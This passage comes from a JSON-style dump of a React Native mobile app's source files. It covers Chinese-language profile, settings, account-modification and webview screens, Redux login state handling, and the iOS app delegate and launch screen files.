(\n            <View style = {styles.view}>\n                <ScrollView style = {{flex: 1}}>\n                    <ModityInputItem style = {styles.input} key = {0} hint = {'请输入用户名'} onChangeText = {(text) => {this.user_name = text}}/>\n                    <ModityInputItem style = {styles.input} key = {1} hint = {'请输入手机号'} onChangeText = {(text) => {this.tel = text}}/>\n                    <ModityInputItem style = {styles.input} key = {2} hint = {'请输入邮件地址'} onChangeText = {(text) => {this.email = text}}/>\n                    <ModityInputItem style = {styles.input} key = {3} hint = {'请输入密码'} ispasswrod = {true} onChangeText = {(text) => {this.psw = text}}/>\n                    <ModityInputItem style = {styles.input} key = {4} hint = {'请再次输入密码'} ispasswrod = {true} onChangeText = {(text) => {this.repsw = text}}/>\n                    <WHCButton key = {5} style = {styles.registerBtn}\n                               text = {'提交'}\n                               textColor = {'white'}\n                               onClick = {this._goRegister}/>\n                </ScrollView>\n                {super.render()}\n            </View>\n        );\n    }\n}\n\n\nconst styles = StyleSheet.create({\n    view: {\n        flex: 1,\n    },\n    input: {\n        height: 44,\n    },\n    registerBtn: {\n        marginTop: 50,\n        marginLeft: 20,\n        marginRight: 20,\n        height: 44,\n        borderRadius: 3,\n        backgroundColor: color.theme,\n    },\n});\n"
  },
  {
    "path": "app/pages/my/my-header.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React, {Component} from 'react';\nimport {\n    StyleSheet,\n    View,\n    Text,\n    Image,\n    TouchableHighlight,\n} from 'react-native';\n\nimport * as color from '../../constants/color';\nimport Api from '../../api/api';\n\nclass MyHeader extends Component {\n    constructor(props) {\n        super(props);\n        this.state = {};\n    }\n\n    render() {\n        const {click, info} = this.props;\n        let image = require('../../images/default_icon.png');\n        if (info !== void 0 && info.image) {\n            image = {uri: Api.main_url + info.image};\n        }\n        const user_name = info.username || '游客';\n        const detail = info.detail || '暂未登录';\n        return (\n            <TouchableHighlight onPress = {click}>\n                <View style = {styles.header}>\n                    <Image style = {styles.userImg} source = {image}/>\n                    <View style = {styles.userNameView}>\n                        <Text style = {styles.titleText} numberOfLines = {1}>{user_name}</Text>\n                        <Text style = {styles.detailText} numberOfLines = {1}>{detail}</Text>\n                    </View>\n                    <Image style = {styles.arrowImg} source = {require('../../images/right_arrow_icon.png')}/>\n                </View>\n            </TouchableHighlight>\n        );\n    }\n}\n\nconst styles = StyleSheet.create({\n    header: {\n        flex: 1,\n        flexDirection: 'row',\n        padding: 20,\n        alignItems: 'center',\n        backgroundColor: 'white',\n\n    },\n    userImg: {\n        width: 70,\n        height: 70,\n        borderRadius: 35,\n    },\n    userNameView: {\n        marginLeft: 15,\n        flexDirection: 'column',\n        flexGrow: 1,\n        height: 50,\n    },\n    titleText: {\n        fontSize: 20,\n        fontWeight: 'bold',\n        color: color.black,\n        flexGrow: 1,\n    },\n    detailText: {\n        fontSize: 14,\n        color: 'gray',\n    },\n    arrowImg: {\n        width: 18,\n        height: 18,\n        marginLeft: 15,\n    },\n});\n\nexport default MyHeader;\n"
  },
  {
    "path": "app/pages/my/my-item.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React  from 'react';\nimport {\n    View,\n    StyleSheet,\n    Image,\n    Text,\n    Switch,\n    TouchableHighlight,\n} from 'react-native';\n\nimport PropTypes from 'prop-types';\nimport WHCLine from '../../components/whc-line';\nimport * as color from '../../constants/color';\n\nconst propTypes = {\n    click: PropTypes.func,\n    img: PropTypes.object,\n    title: PropTypes.string,\n    value: PropTypes.string,\n    isSwitch: PropTypes.bool,\n};\n\nconst MyItem = ({img, title, value, click,isSwitch}) => {\n    return (\n        <TouchableHighlight onPress = {click} underlayColor = {'transparent'}>\n            <View>\n                <View style = {styles.item}>\n                    <Image style = {styles.markImg} source = {img}/>\n                    <Text style = {styles.titleText}>{title}</Text>\n                    {isSwitch ? <Switch/> : <Text style = {styles.valueText}>{value}</Text>}\n                </View>\n                <WHCLine/>\n            </View>\n        </TouchableHighlight>\n    );\n};\n\nMyItem.prototype = propTypes;\n\nMyItem.defaultProps = {\n    click() {},\n    title: '',\n    value: '',\n    isSwitch: false,\n    img: require('../../images/home_normal_icon.png')\n};\n\nconst styles = StyleSheet.create({\n    item: {\n        backgroundColor: 'white',\n        height: 50,\n        flexDirection: 'row',\n        alignItems: 'center',\n        padding: 20,\n    },\n    markImg: {\n        width: 20,\n        height: 20,\n    },\n    titleText: {\n        marginLeft: 20,\n        flexGrow: 1,\n        fontSize: 17,\n        color: color.black,\n    },\n    valueText: {\n        fontSize: 14,\n        color: 'gray',\n    },\n});\n\nexport default MyItem;\n"
  },
  {
    "path": "app/pages/my/my.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React from 'react';\nimport {\n    View,\n    ScrollView,\n    StyleSheet,\n} from 'react-native';\nimport { connect } from 'react-redux';\n\nimport MyHeader from './my-header';\nimport WHCLine from '../../components/whc-line';\nimport MyItem from './my-item';\nimport Api from '../../api/api';\nimport Storage from '../../components/storage';\nimport Tool from '../../components/tool';\nimport account from '../../api/account';\nimport {CollectType} from '../../constants/app-constant';\nimport Controller from '../../base/controller';\nimport {did_login} from \"../../actions/login-action\";\n\nclass My extends Controller {\n\n    constructor(props) {\n        super(props);\n        this.userInfo = {};\n    }\n\n    componentDidMount() {\n        this._autoLogin();\n\n    }\n\n    shouldComponentUpdate(nextProps, nextState) {\n        this.userInfo = nextProps.userInfo;\n        return true;\n    }\n\n    _clickItem = (view, param) => {\n        if (view) {\n            if (account.did_login) {\n                this.push(view, param);\n            }else {\n                this.push('Login', {title: '登录'});\n            }\n        }\n    };\n\n    _startRequest = () => {\n        if (!account.did_login) {\n            this._autoLogin();\n        }\n    };\n\n    _autoLogin = () => {\n        Storage.value('login', (login) => {\n            if (login && Tool.count(login) === 2) {\n                this.loading();\n                Api.post({\n                    api: 'login/',\n                    param: login,\n                }, (json) => {\n                    account.user_info = json;\n                    this.props.dispatch(did_login(json));\n                    this.loading(false);\n                });\n            }\n        });\n    };\n\n    render() {\n        const {userInfo}  = this;\n        const {lovenum = null, collectnum = null, readnum = null} = userInfo;\n        const love_num    = lovenum ? lovenum + '篇' : '';\n        const collect_num = collectnum ? collectnum + '个' : '';\n        const read_num    = readnum ? readnum + '篇' : '';\n\n        return (\n            <View style = {styles.view}>\n                <ScrollView style = {styles.scrollView}>\n                    <MyHeader style = {styles.header}\n                              info = {userInfo}\n                              click = {() => {\n                                  this._clickItem('User', {title: '个人信息', user_info: userInfo});\n                              }}/>\n                    <WHCLine/>\n                    <View style = {styles.section1}>\n                        <MyItem img = {require('../../images/my_love_icon.png')}\n                                title = {'我喜欢的'}\n                                value = {love_num}\n                                click = {() => {\n                                    this._clickItem('MyLike', {title: '我喜欢的'});\n                                }}\n                        />\n                        <MyItem img = {require('../../images/my_collect_icon.png')}\n                                title = {'我的收藏集'}\n                                value = {collect_num}\n                                click = {() => {\n                                    this._clickItem('Collect', {title: '我的收藏集', type: CollectType.my_collect});\n                                }}\n                        />\n                        <MyItem img = {require('../../images/my_read_icon.png')}\n                                title = {'阅读过的文章'}\n                                value = {read_num}\n                                click = {() => {\n                                    this._clickItem('DidRead', {title: '阅读过的文章'});\n                                }}\n                        />\n                    </View>\n\n                    <View style = {styles.section2}>\n                        <MyItem img = {require('../../images/my_suggest_icon.png')}\n                                title = {'意见反馈'}\n                                click = {() => {\n                                    this._clickItem('Feedback', {title: '意见反馈'});\n                                }}\n                        />\n                        <MyItem img = {require('../../images/my_set_icon.png')}\n                                title = {'设置'}\n                                click = {() => {\n                                    this._clickItem('Set', {title: '设置', user_info: userInfo});\n                                }}\n                        />\n                    </View>\n                </ScrollView>\n                {super.render()}\n            </View>\n        )\n    }\n};\n\nconst styles = StyleSheet.create({\n    view: {\n        flex: 1,\n    },\n    scrollView: {\n        flex: 1,\n        backgroundColor: '#F4F6F9',\n        paddingTop: 15,\n        paddingBottom: 15,\n    },\n    header: {\n        flex: 1,\n    },\n    section1: {\n        marginTop: 15,\n        backgroundColor: 'white',\n    },\n    section2: {\n        marginTop: 15,\n        backgroundColor: 'white',\n    },\n});\n\nfunction select(store){\n    return {\n        isLogin: store.loginState.isLogin,\n        userInfo: store.loginState.userInfo,\n    }\n}\n\n\nexport default connect(select)(My);\n\n"
  },
  {
    "path": "app/pages/my/read/did-read.js",
    "content": "\n/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\nimport BaseList from '../../../base/base-list';\nimport Api from '../../../api/api';\n\nexport default class DidRead extends BaseList {\n    constructor(props) {\n        super(props);\n    }\n\n    componentDidMount() {\n        this._startRequest();\n    }\n\n    _startRequest = () => {\n        this.loading(true);\n        Api.get({api: 'did_read/'}, (json) => {\n            if (json.code !== 0) {\n                this.toast(json.message);\n            }else {\n                this.reloadData(json.data.list);\n            }\n        });\n    };\n\n    render() {\n        return super.render();\n    }\n}\n"
  },
  {
    "path": "app/pages/my/set/modity/modify.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\nimport React from 'react';\nimport {\n    View,\n    StyleSheet,\n    Text,\n    TouchableHighlight,\n} from 'react-native';\n\nimport {ModifyType} from '../../../../constants/app-constant';\nimport ModityInputItem from './modity-input-item';\nimport * as color from '../../../../constants/color';\nimport tool from '../../../../components/tool';\nimport storage from '../../../../components/storage';\nimport account from '../../../../api/account';\nimport Api from '../../../../api/api';\nimport Controller from '../../../../base/controller';\n\nclass Modity extends Controller {\n\n    constructor(props) {\n        super(props);\n\n        this._mobile = '';\n        this._email = '';\n        this._new_psw = '';\n        this._current_psw = '';\n        this._renew_psw = '';\n    }\n\n    _clickCommit = () => {\n        let param = {username: account.user_info.username,};\n        let api = '';\n        const {type} = this.props.navigation.state.params;\n        switch (type) {\n            case ModifyType.mobile:\n                if (this._mobile.length === 0 || !tool.istel(this._mobile)) {\n                    this.toast('手机号格式不对');\n                    return;\n                }\n                api = 'modify_mobile/';\n                param.mobile = this._mobile;\n                break;\n            case ModifyType.email:\n                if (this._email.length === 0 || !tool.isemail(this._email)) {\n                    this.toast('邮件格式不对');\n                    return;\n                }\n                api = 'modify_email/';\n                param.email = this._email;\n                break;\n            case ModifyType.password:\n                if (this._current_psw.length === 0) {\n                    this.toast('当前密码不能为空');\n                    return;\n                }\n                if (this._new_psw.length < 6 || this._new_psw.length > 20) {\n                    this.toast('密码范围6-20字符');\n                    return;\n                }\n                if (this._new_psw !== this._renew_psw) {\n                    this.toast('两次新密码输入不一致');\n                    return;\n                }\n                storage.value('login', (login) => {\n\n                });\n                api = 'modity_psw/';\n                param.password = this._current_psw;\n                param.newpassword = this._new_psw;\n                break;\n            default:\n                this.toast('修改类型不存在');\n                return;\n\n        }\n        this.loading();\n        Api.post({\n            api: api,\n            param: param,\n        }, (json) => {\n            if (json.code === 0) {\n                this.toast('修改成功');\n                setTimeout(() => {\n                    this.pop();\n                }, 2000);\n            }else {\n                this.toast(json.message);\n            }\n        });\n    };\n\n    render() {\n        const {params} = this.props.navigation.state;\n        let input_items = [];\n        switch (params.type) {\n            case ModifyType.mobile: {\n                input_items.push(<ModityInputItem hint = {'请输入新手机号'} onChangeText = {(text) => {this._mobile = text;}}/>);\n                break;\n            }\n            case ModifyType.email: {\n                input_items.push(<ModityInputItem hint = {'请输入新邮箱'} onChangeText = {(text) => {this._email = text;}}/>);\n                break;\n            }\n            case ModifyType.password: {\n                input_items.push(<ModityInputItem hint = {'请输入旧密码'} ispasswrod = {true} onChangeText = {(text) => {this._current_psw = text;}}/>);\n                input_items.push(<ModityInputItem hint = {'请输入新密码'} ispasswrod = {true} onChangeText = {(text) => {this._new_psw = text;}}/>);\n                input_items.push(<ModityInputItem hint = {'请重复输入新密码'} ispasswrod = {true} onChangeText = {(text) => {this._renew_psw = text;}}/>);\n                break;\n            }\n        }\n        return (\n            <View style = {styles.view}>\n                {input_items}\n                <TouchableHighlight style = {styles.commit}\n                    onPress = {this._clickCommit}>\n                    <Text style = {styles.text}>提 交</Text>\n                </TouchableHighlight>\n                {super.render()}\n            </View>\n        );\n    }\n}\n\nconst styles = StyleSheet.create({\n    view: {\n        flex: 1,\n        paddingTop: 20,\n    },\n    text: {\n        color: 'white',\n        textAlign: 'center',\n    },\n    commit: {\n        marginTop: 50,\n        marginLeft: 20,\n        marginRight: 20,\n        backgroundColor: color.theme,\n        height: 44,\n        borderRadius: 5,\n        alignItems: 'center',\n        justifyContent: 'center',\n    },\n});\n\nexport default Modity;\n"
  },
  {
    "path": "app/pages/my/set/modity/modity-input-item.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React , {Component} from 'react';\nimport {\n    View,\n    StyleSheet,\n    TextInput,\n} from 'react-native';\n\nimport WHCLine from '../../../../components/whc-line';\n\nModityInputItem = ({\nhint,\nispasswrod,\nfontSize,\nvalue,\nonChangeText,\n}) => {\n    return (\n        [<View style = {styles.view}>\n            <TextInput placeholder = {hint}\n             underlineColorAndroid ='transparent'\n                      defaultValue = {value || ''}\n                          fontSize = {fontSize || 14}\n                   secureTextEntry = {ispasswrod || false}\n                      onChangeText = {onChangeText}/>\n        </View>,\n        <WHCLine/>]\n    );\n};\n\nconst styles = StyleSheet.create({\n    view: {\n        padding: 15,\n        backgroundColor: 'white',\n    },\n});\n\nexport default ModityInputItem;\n"
  },
  {
    "path": "app/pages/my/set/set-item.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\nimport React, {Component} from 'react';\nimport {\n    View,\n    Text,\n    StyleSheet,\n    TouchableHighlight,\n} from 'react-native';\n\n\nSetItem = ({\ntitle,\nvalue,\nonClick,\n}) => {\n    return (\n        <TouchableHighlight onPress = {onClick}>\n            <View style = {styles.view}>\n                <Text style = {styles.title}>{title}</Text>\n                <Text style = {styles.value}>{value}</Text>\n            </View>\n        </TouchableHighlight>\n    )\n};\n\nconst styles = StyleSheet.create({\n    view: {\n        paddingTop: 15,\n        paddingBottom: 15,\n        paddingLeft: 15,\n        paddingRight: 15,\n        flexDirection: 'row',\n        backgroundColor: 'white',\n    },\n    title: {\n        textAlign: 'left',\n        flexGrow: 1,\n    },\n    value: {\n        textAlign: 'right',\n        flexGrow: 1,\n    },\n});\n\nexport default SetItem;\n"
  },
  {
    "path": "app/pages/my/set/set.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React from 'react';\nimport {\n    View,\n    StyleSheet,\n    ScrollView,\n} from 'react-native';\n\nimport { connect } from 'react-redux';\nimport SetItem from './set-item';\nimport WHCLine from '../../../components/whc-line';\nimport {ModifyType} from '../../../constants/app-constant';\nimport * as color from '../../../constants/color';\nimport WHCButton from '../../../components/whc-button';\nimport account from '../../../api/account';\nimport Controller from '../../../base/controller';\nimport {did_logout} from '../../../actions/login-action';\n\nclass Set extends Controller {\n\n    constructor(props) {\n        super(props);\n    }\n\n    _gotoModityUI = (title, type) => {\n        this.push('Modify', {title: title, type: type});\n    };\n\n    _exitLogin = () => {\n        account.exit_login();\n        this.props.dispatch(did_logout());\n        this.pop();\n    };\n\n    render() {\n        const {user_info} = this.props.navigation.state.params;\n        return (\n            <View style = {styles.v}>\n                <ScrollView>\n                    <SetItem title = {'邮箱'}\n                        value = {user_info.email}\n                        onClick = {() => {\n                            this._gotoModityUI('修改邮箱', ModifyType.email);\n                        }}/>\n                    <WHCLine/>\n                    <SetItem title = {'手机号'}\n                         value = {user_info.mobile}\n                         onClick = {() => {\n                             this._gotoModityUI('修改手机号', ModifyType.mobile);\n                         }}/>\n                    <WHCLine/>\n                    <SetItem title = {'修改账户密码'}\n                             onClick = {() => {\n                                 this._gotoModityUI('修改密码', ModifyType.password);\n                             }}/>\n                    <WHCLine/>\n                    <WHCButton style = {styles.exit}\n                               text = {'退出登录'}\n                               textColor = {'white'}\n                               onClick = {this._exitLogin}/>\n                </ScrollView>\n            </View>\n        );\n    }\n}\n\n\nconst styles = StyleSheet.create({\n    v: {\n        flex: 1,\n    },\n    exit: {\n        marginTop: 50,\n        marginLeft: 20,\n        marginRight: 20,\n        height: 44,\n        borderRadius: 3,\n        backgroundColor: color.theme,\n    },\n});\n\nfunction select(store){\n    return {};\n}\n\n\nexport default connect(select)(Set);\n\n"
  },
  {
    "path": "app/pages/my/user/user.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React from 'react';\nimport {\n    View,\n    StyleSheet,\n    ScrollView,\n} from 'react-native';\nimport SetItem from '../set/set-item';\nimport WHCLine from '../../../components/whc-line';\nimport Controller from '../../../base/controller';\n\nexport default class User extends Controller {\n\n    constructor(props) {\n        super(props);\n    }\n\n    render() {\n        const {user_info} = this.props.navigation.state.params;\n        return (\n            <View style = {styles.v}>\n                <ScrollView>\n                    <SetItem title = {'用户名'}\n                        value = {user_info.username}\n                    />\n                    <WHCLine/>\n                    <SetItem title = {'邮箱'}\n                        value = {user_info.email}\n                    />\n                    <WHCLine/>\n                    <SetItem title = {'手机号'}\n                         value = {user_info.mobile}\n                    />\n                    <WHCLine/>\n                </ScrollView>\n            </View>\n        );\n    }\n}\n\n\nconst styles = StyleSheet.create({\n    v: {\n        flex: 1,\n    },\n});\n"
  },
  {
    "path": "app/pages/webview/webv.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\n\nimport React from 'react';\nimport {\n    View,\n    WebView,\n    StyleSheet,\n    BackHandler,\n} from 'react-native';\n\nimport Controller from '../../base/controller';\n\nclass Webv extends Controller {\n\n    constructor(props) {\n        super(props);\n        this.canGoBack = false;\n    }\n\n    componentDidMount () {\n        BackHandler.addEventListener('hardwareBackPress', this._androidGoBack);\n    }\n\n    canBack () {\n        return !this._androidGoBack();\n    }\n\n    _androidGoBack = () => {\n        if (this.canGoBack) {\n            this.webview.goBack();\n            return true;\n        }\n        return false;\n    };\n\n    _onNavigationStateChange = (navState) => {\n        const {title = ''} = navState;\n        this.setTitle(title);\n        this.canGoBack = navState.canGoBack;\n    };\n\n    render() {\n        const { params } = this.props.navigation.state;\n        return (\n            <View style = {styles.view}>\n                <WebView\n                    ref = {(ref) => {this.webview = ref}}\n                    style = {styles.web}\n                    onNavigationStateChange = {this._onNavigationStateChange}\n                    source = {{uri: params.linkUrl}}/>\n            </View>\n        );\n    }\n}\n\nconst styles = StyleSheet.create({\n    view: {\n        flex: 1,\n    },\n    web: {\n        flex: 1,\n    }\n});\n\nexport default Webv;\n"
  },
  {
    "path": "app/reducers/index.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport { combineReducers } from 'redux';\nimport loginState from './login';\n\nconst rootReducer = combineReducers({\n    loginState\n});\n\nexport default rootReducer;\n"
  },
  {
    "path": "app/reducers/login.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport * as types from '../constants/action-type';\n\nconst initState = {\n    isLogin: false,\n    userInfo: {},\n};\n\nexport default function loginState(state=initState, action) {\n    switch (action.type) {\n        case types.DID_LOGIN:\n            return {\n                ...state,\n                isLogin: true,\n                userInfo: action.userInfo,\n            };\n        case types.DID_LOGOUT:\n            return {\n                ...state,\n                isLogin: false,\n                userInfo: {},\n            };\n        default:\n            return state;\n    }\n}\n"
  },
  {
    "path": "app/store/configure-stroe.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport { createStore, applyMiddleware } from 'redux';\nimport thunkMiddleware from 'redux-thunk';\nimport rootReducer from '../reducers/index';\n\nconst createStoreWithMiddleware = applyMiddleware(thunkMiddleware)(createStore);\n\nexport default function configureStore(initialState) {\n    return createStoreWithMiddleware(rootReducer, initialState);\n}\n"
  },
  {
    "path": "app.json",
    "content": "{\n  \"name\": \"whcapp\",\n  \"displayName\": \"whcapp\"\n}\n"
  },
  {
    "path": "index.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport { AppRegistry } from 'react-native';\nimport App from './app/App';\n\nAppRegistry.registerComponent('whcapp', () => App);\n"
  },
  {
    "path": "ios/whcapp/AppDelegate.h",
    "content": "/**\n * Copyright (c) 2015-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n */\n\n#import <UIKit/UIKit.h>\n\n@interface AppDelegate : UIResponder <UIApplicationDelegate>\n\n@property (nonatomic, strong) UIWindow *window;\n\n@end\n"
  },
  {
    "path": "ios/whcapp/AppDelegate.m",
    "content": "/**\n * Copyright (c) 2015-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n */\n\n#import \"AppDelegate.h\"\n\n#import <React/RCTBundleURLProvider.h>\n#import <React/RCTRootView.h>\n\n@implementation AppDelegate\n\n- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions\n{\n  NSURL *jsCodeLocation;\n  \n  jsCodeLocation = [[RCTBundleURLProvider sharedSettings] jsBundleURLForBundleRoot:@\"index\" fallbackResource:nil];\n\n  RCTRootView *rootView = [[RCTRootView alloc] initWithBundleURL:jsCodeLocation\n                                                      moduleName:@\"whcapp\"\n                                               initialProperties:nil\n                                                   launchOptions:launchOptions];\n  rootView.backgroundColor = [[UIColor alloc] initWithRed:1.0f green:1.0f blue:1.0f alpha:1];\n\n  self.window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds];\n  UIViewController *rootViewController = [UIViewController new];\n  rootView.backgroundColor = [[UIColor alloc] initWithRed:230.0 / 255.0 green:80.0 / 255.0 blue:88.0 / 255.0 alpha:1];\n  rootViewController.view = rootView;\n  self.window.rootViewController = rootViewController;\n  [self.window makeKeyAndVisible];\n  return YES;\n}\n\n@end\n"
  },
  {
    "path": "ios/whcapp/Base.lproj/LaunchScreen.xib",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<document type=\"com.apple.InterfaceBuilder3.CocoaTouch.XIB\" version=\"3.0\" toolsVersion=\"13529\" targetRuntime=\"iOS.CocoaTouch\" propertyAccessControl=\"none\" useAutolayout=\"YES\" launchScreen=\"YES\" useTraitCollections=\"YES\" colorMatched=\"YES\">\n    <device id=\"retina4_7\" orientation=\"portrait\">\n        <adaptation id=\"fullscreen\"/>\n    </device>\n    <dependencies>\n        <deployment identifier=\"iOS\"/>\n        <plugIn identifier=\"com.apple.InterfaceBuilder.IBCocoaTouchPlugin\" version=\"13527\"/>\n        <capability name=\"documents saved in the Xcode 8 format\" minToolsVersion=\"8.0\"/>\n    </dependencies>\n    <objects>\n        <placeholder placeholderIdentifier=\"IBFilesOwner\" id=\"-1\" userLabel=\"File's Owner\"/>\n        <placeholder placeholderIdentifier=\"IBFirstResponder\" id=\"-2\" customClass=\"UIResponder\"/>\n        <view contentMode=\"scaleToFill\" id=\"iN0-l3-epB\">\n            <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"480\" height=\"480\"/>\n            <autoresizingMask key=\"autoresizingMask\" widthSizable=\"YES\" heightSizable=\"YES\"/>\n            <subviews>\n                <imageView userInteractionEnabled=\"NO\" contentMode=\"scaleToFill\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" image=\"launch\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"Q0v-cQ-x6h\">\n                    <rect 